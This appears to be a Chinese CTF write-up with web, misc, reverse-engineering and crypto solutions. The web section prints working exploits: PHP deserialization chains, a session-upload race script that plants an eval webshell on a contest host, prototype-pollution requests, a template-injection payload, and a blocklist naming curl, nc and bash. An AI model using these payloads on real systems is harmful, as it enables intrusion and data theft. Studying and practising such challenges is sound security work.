WEB serialize index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(0 ); highlight_file(__FILE__ ); class Demo { public $class; public $user; public function __construct () { $this ->class = "safe" ; $this ->user = "ctfer" ; $context = new $this ->class ($this ->user); foreach ($context as $f){ echo $f; } } public function __wakeup () { $context = new $this ->class ($this ->user); foreach ($context as $f){ echo $f; } } } class safe { var $user; public function __construct ($user) { $this ->user = $user; echo ("hello " .$this ->user); } } if (isset ($_GET['data' ])){ unserialize($_GET['data' ]); } else { $demo=new Demo; }
flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting(0 ); echo "/flag is not here! Baby~" ; function check ($info) { $filter_arr = array ('system' ,'flag' ,'eval' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter, '' , $info); } $profile['path' ] = $_POST['path' ]; $profile['file' ] = $_POST['file' ]; $fun_ser = check(serialize($profile)); if (strpos($fun_ser, 'log' ) !== false ){ die (); } $ser_info = unserialize($fun_ser); var_dump(readfile($ser_info['file' ]));
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class Demo{ public $class ; public $user ; public function __construct() { // $this ->class = "safe" ; // $this ->user = "ctfer" ; // $context = new $this ->class ($this ->user); // foreach($context as $f ){ // echo $f ; // } } // public function __wakeup() // { // $context = new $this ->class ($this ->user); // foreach($context as $f ){ // echo $f ; // } // } } $a =new Demo(); // $a ->user='./*.php' ;// $a ->class= 'GlobIterator' ;$a ->class= 'SplFileObject' ;$a ->user='/proc/self/cwd/flag.php' ;echo urlencode(serialize($a ));
使用GlobIterator列目录, SplFileObject读文件 得出flag.php的源码,反序列化逃逸,然后post path和file得出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting(0 ); echo "/flag is not here! Baby~" ; function check ($info) { $filter_arr = array ('system' ,'flag' ,'eval' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter, '' , $info); } $profile['path' ] = 'systemsystemsystemsystem' ; $profile['file' ] = 'aaaaa";s:4:"file";s:5:"/fflaglag";}' ; $fun_ser = check(serialize($profile)); var_dump($fun_ser); if (strpos($fun_ser, 'log' ) !== false ){ die (); } $ser_info = unserialize($fun_ser); var_dump(readfile($ser_info['file' ]));
寻宝奇兵 第一层
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $SECRET="There is no treasure here" ; if (isset ($_COOKIE["users" ])) { if ($_COOKIE["users" ]==="explorer" ) { die ("Explorers are not welcome" ); } $hash = $_COOKIE["hash" ]; $users=$_COOKIE["users" ]; if ($hash === md5($SECRET.$users)){ echo "<script >alert('恭喜" ; } } else { setcookie("users" , "explorer" ); setcookie("hash" , md5($SECRET . "explorer" )); } ?>
$SECRET直接给出,构造hash即可
第二层:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php session_start(); if (!isset ($_SESSION['seed' ])){ $_SESSION['seed' ]=rand(0 ,999999999 ); } mt_srand($_SESSION['seed' ]); $table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $pass='' ; for ( $i = 0 ; $i < 24 ; $i++ ){ $pass.=substr($table, mt_rand(0 , strlen($table) - 1 ), 1 ); } if (isset ($_POST['password' ])){ if ($pass==$_POST['password' ]){ echo "<script >alert('恭喜你" ; ?>
伪随机数,跟着网上文章打就行:https://blog.csdn.net/qq_45521281/article/details/107302795 第三层
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function is_php ($data) { return preg_match('/[flag].*[php]/is' , $data); } if ($_POST['treasure' ]) { if (is_php($_POST['treasure' ])) { echo "<script >alert('这个不能拿走');</script>" ; } else { if (preg_match('/flag.php/is' , $_POST['treasure' ])){ highlight_file('flag.php' ); } } } ?>
复现:https://blog.csdn.net/qq_38783875/article/details/85288671 拿到flag
mid 1 2 3 4 5 <?php session_start(); include $_GET[1 ]; highlight_file(__FILE__ ); ?>
文件包含,直接session_upload_progress
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import ioimport sysimport requestsimport threading sessid = 'testqwer2' def POST (session) : while True : f = io.BytesIO(b'a' * 1024 * 50 ) session.post( 'http://119.61.19.212:57303/index.php' , data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php system('cat /flag');phpinfo();fputs(fopen('/var/www/html/myshell.php','w'),'<?php phpinfo();@eval($_POST[whoami])?>');?>" }, files={"file" :('q.txt' , f)}, cookies={'PHPSESSID' :sessid} ) def READ (session) : while True : response = session.get(f'http://119.61.19.212:57303/index.php?1=../../../../../../../../var/lib/php/sessions/sess_{sessid} ' ) if 'flag' not in response.text: print('[+++]retry' ) else : print(response.text) sys.exit(0 ) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
注意upload_progress好像有缓存,每次需要更换sessid
glowworm /source
source 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 const express = require ('express' );const bodyParser = require ('body-parser' )const path = require ('path' );const crypto = require ('crypto' );const fs = require ('fs' );const app = express();const FLAG = 'flag{test_test}' ; app.set('view engine' , 'html' ); app.engine('html' , require ('hbs' ).__express); app.use(express.urlencoded()); app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json()) var glowworm = [];var content = []; function sha1 (string ) { return crypto.createHash("sha1" ).update(string ).digest("hex" ); } app.get('/' , (req, res ) => { const { page } = req.query; if (!page) res.redirect('/?page=index' ); else res.render(page, { FLAG, 'insect' : 'glowworm' }); }); app.get('/source' , function (req, res ) { res.sendFile(path.join(__dirname + '/app.js' )); }); app.post('/data' , function (req, res ) { var worm = req.body; content[worm.wing][worm.fire] = worm.data; res.end('data success' ) }); app.get('/refresh' , (req, res ) => { let files = []; var paths = path.join(__dirname, 'views/sandbox' ) if (fs.existsSync(paths)) { files = fs.readdirSync(paths); files.forEach((file, index ) => { let curPath = paths + "/" + file; if (fs.statSync(curPath).isFile()) { fs.unlinkSync(curPath); } }); } res.end('refresh success' ) }); app.post('/' , (req, res ) => { const key = "worm" ; const { content, a, b } = req.body; if (!a || !b || a.length !== b.length) { res.send("no!!!" ); return ; } if (a !== b && sha1(key + a) === sha1(key + b)) { console .log(glowworm.token1); console .log(sha1(glowworm.token1)); if (glowworm.token1 && req.query.token2 && sha1(glowworm.token1) === req.query.token2) { if (typeof content !== 'string' || content.indexOf('FLAG' ) != -1 ) { res.end('ban!!!' ); return ; } const filename = crypto.randomBytes(8 ).toString('hex' ); fs.writeFile(`${path.join('views' ,'sandbox' ,filename)} .html` , content, () => { res.redirect(`/?page=sandbox/${filename} ` ); }) } else { res.send("no no no!!!" ); } } else { res.send("no no!!!" ); } }); app.listen(8888 , '0.0.0.0' );
两个点,第一个js数组的toString特性来绕过sha1的判断。 第二个,修改content的proto 来设置不存在的token1值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /data HTTP/1.1 Host: 119.61 .19 .212 :57302 Content-Length: 64 Cache-Control: max-age=0 Origin: http://119.61.19.212:57302 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://119.61.19.212:57302/data Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7 Connection: close wing=__proto__&fire=token1&data=db695c5157f851223d6c03fa3e63ba53
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /?token2 =1900 dc271 bb39160 b01 ba20 b3 fc247 bd238 cfcc3 HTTP/1.1 Host: 119.61 .19.212 :57302 Content-Length: 189 Cache-Control: max -age=0 Origin: http://119.61 .19.212 :57302 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x -www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh
hbs模板注入信息泄露https://threezh1.com/2020/12/28/华为HCIE的第一课%20Writeup/#hbs模板注入导致信息泄露
1 {{#each this}} {{@key}} => {{this.toString}} <br > {{/each }}
因为可以执行一定的系统命令,其他队的师傅还想到了直接tar
打包全部的php的内容,然后下载。单个环境,写入的shell也非常容易被上车。
flag在哪里 首先思路是构造pop读getflag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php class begin { public $file; public $mode; public $content; public $choice; public function __construct () { } function __wakeup () { if ($this ->mode=="write" ){ $this ->choice= new write(); } if ($this ->mode=="read" ){ $this ->choice= new read(); } } function __call ($file,$content) { highlight_file($this ->file); } function __destruct () { if ($this ->mode=="write" ){ var_dump($this ); $this ->choice->writewritetxt($this ->file,$this ->content); } else { $this ->choice->open($this ->file); } } } class write { public function writewritetxt ($file,$content) { $filename=$file.".txt" ; if (is_file($filename)){ unlink($filename); } file_put_contents($filename, $content); echo "成功写入" ; } } class read { public $file; public function __construct () { } function open ($filename) { $file=$this ->file; if (is_file($file)){ if ($file=="getflag.php" ){ die ("getflag.php没东西" ); } else { highlight_file($file); } }else { echo "文件不存在" ; } } } $a=new begin(); $a->file = 'file:///etc/passwd' ; $a->mode = 'asdas' ; $b=new begin(); $b->file= 'getflag.php' ; echo urlencode(serialize($a));
调用begin的call方法,读getflag文件。
然后写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php class begin { public $file; public $mode; public $content; public $choice; public function __construct () { $this ->file = 'b0eacc6cb3904a848106501cda4d4f25' ; $this ->mode = 'write' ; $this ->content = '<?php system("cat _f_l_a_g.php");?>' ; $this ->choice=new write(); } function __wakeup () { if ($this ->mode=="write" ){ $this ->choice= new write(); } if ($this ->mode=="read" ){ $this ->choice= new read(); } } function __call ($file,$content) { highlight_file($this ->file); } function __destruct () { if ($this ->mode=="write" ){ var_dump($this ); $this ->choice->writewritetxt($this ->file,$this ->content); } else { $this ->choice->open($this ->file); } } } class write { public function writewritetxt ($file,$content) { $filename=$file.".txt" ; if (is_file($filename)){ unlink($filename); } file_put_contents($filename, $content); echo "成功写入" ; } } class read { public $file; public function __construct () { } function open ($filename) { $file=$this ->file; if (is_file($file)){ if ($file=="getflag.php" ){ die ("getflag.php没东西" ); } else { highlight_file($file); } }else { echo "文件不存在" ; } } } $a=new begin(); echo urlencode(serialize($a));
这里payload要做修改,将s换成\73
,左右括号换成\28
,\29
,content的中的s大写,大概这样。
1 O :5 :"begin" :4 :{s :4 :"file" ;s :32 :"b0eacc6cb3904a848106501cda4d4f25" ;s :4 :"mode" ;s :5 :"write" ;s :7 :"content" ;S :35 :"<?php \73ystem\28" cat _f_l_a_g.php"\29;?>" ;s :6 :"choice" ;O :5 :"write" :0 :{}}
然后继续getflag.php,system可以用,但是直接搞flag的都被ban了,这里我们想到了php
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting(0) ; $a=$_POST['a '] ; $b=$_POST['b '] ; if (preg_match('/ cat |more |less |head |tac |tail |nl |od |vi |sort |cut |ping |curl |nc |grep |system |exec |bash |unique |find |popen |open |ls |rm |sleep |chr |ord |bin |hex |dict |#|`|\$|\<|\(|\[|\]|\{|\}|\) |\>|\_ |\'|"|\* |;|\|| &|\/ |\\\\/ is', $a )){ die("hack!!!!"); } if (!preg_match('/ [a -z ]/ is ', $b ) ){ die("big hack!!!!"); } call_user_func($b ,$a ) ;
MISC 签到 base64直接解?题目下线了,忘了
DECODER 三部分txt flag_1.txt
1 2 3 4 5 GUZEQ3TTJVIWIQSFGVNGO5DHIVVWI === base32 base58 base85 042 f38b694
flag_2.txt
1 2 cipher:👉🦓🏎💵🕹🚪🎤🙃☂☀🌏🛩💵😇🚨🚪🎤👉🔪👣🐎✖☂🎤✉🔪😊🍎🚰🌪🚪🚹🍌🚰🎃🎤💧😎🥋🍎✖🎃👉🍵 key :👮👟👟👡👥👦
base100解key,whhjno emoji-aes带上密匙解密,https://aghorler.github.io/emoji-aes/ Rotation设置36,解得b52bff9568 flag_3.txt base91解码后发现base64隐写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # -*- coding: utf-8 -*- b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open ('base.txt' , 'rb' ) as f : bin_str = '' for line in f .readlines(): stegb64 = '' .join (line .split ()) rowb64 = '' .join (stegb64.decode('base64' ).encode('base64' ).split ()) offset = abs (b64chars.index (stegb64.replace('=' ,'' )[-1 ])-b64chars.index (rowb64.replace('=' ,'' )[-1 ])) equalnum = stegb64.count ('=' ) #no equalnum no offset if equalnum: bin_str += bin(offset)[2 :].zfill(equalnum * 2 ) print '' .join ([chr(int (bin_str[i:i + 8 ], 2 )) for i in xrange(0 , len (bin_str), 8 )]) #8 位一组
37f267472516 拼接添加flag{}即可
huahua 改成zip文件头,然后补png文件头 直接修改高度得到flag
NOISE out文件(010editor)直接放进AudacityPortable看频谱图 调一下大小,可以直接看到flag
RE REEEE 1 2 3 4 5 6 7 8 9 10 11 import base64 alpha1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' alpha2 = 'RSTUVWXYZabcdefghijklmnoABCDEFGHIJKLMNOPQpqrstuvwxyz0123456789+/=' flag = 'BOxJB3tMeXV2dkM1BLR5A2Z3ekI2fXWLBUR0fUI2ekaMA2AzA30=' flag = flag .translate(str .maketrans(alpha2, alpha1)) print(flag ) print(base64.b64decode(flag ))
HardRe 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import base64 s = base64.b64decode ('c2JWblhyX0dgQnk8RHBdNWdJVW1HazZ0NHg=' )ss = '' for sss in s [13 :]: if ord ('z' ) >= sss ^ 0 x5 >= ord ('0' ): ss += chr (sss ^ 0 x5 ) else : ss += chr (sss ) for sss in s [:13 ]: if ord ('z' ) >= sss ^ 0 xf >= ord ('0' ): ss += chr (sss ^ 0 xf ) else : ss += chr (sss ) print (ss )
CRYPTO 签到2 凯撒密码
easyRSA 百度脚本直接出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import gmpy2import libnumfrom Crypto.Util.number import long_to_bytes e=0x10001 n=101031799769686356875689677901727632087789394241694537610688487381734497153370779419148195361726900364384918762158954452844358699628272550435920733825528414623691447245900175499950458168333742756118038555364836309568598646312353874247656710732472018288962454506789615632015856961278964493826919853082813244227 c=59381302046219861703693321495442496884448849866535616496729805734326661742228038342690865965545318011599241185017546760846698815333545820228348501022889423901773651749628741238050559441761853071976079031678640014602919526148731936437472217369575554448232401310265267205034644121488774398730319347479771423197 dp=1089885100013347250801674176717862346181995027932544377293216564837464201546385463279055643089303360817423261428901834798955985043080308895369226243973673 for i in range(1 ,65538 ): if (dp*e-1 )%i == 0 : if n%(((dp*e-1 )/i)+1 )==0 : p=((dp*e-1 )/i)+1 q=n/(((dp*e-1 )/i)+1 ) phi = (p-1 )*(q-1 ) d = gmpy2.invert(e,phi)%phi m = pow(c,d,n) print long_to_bytes(m)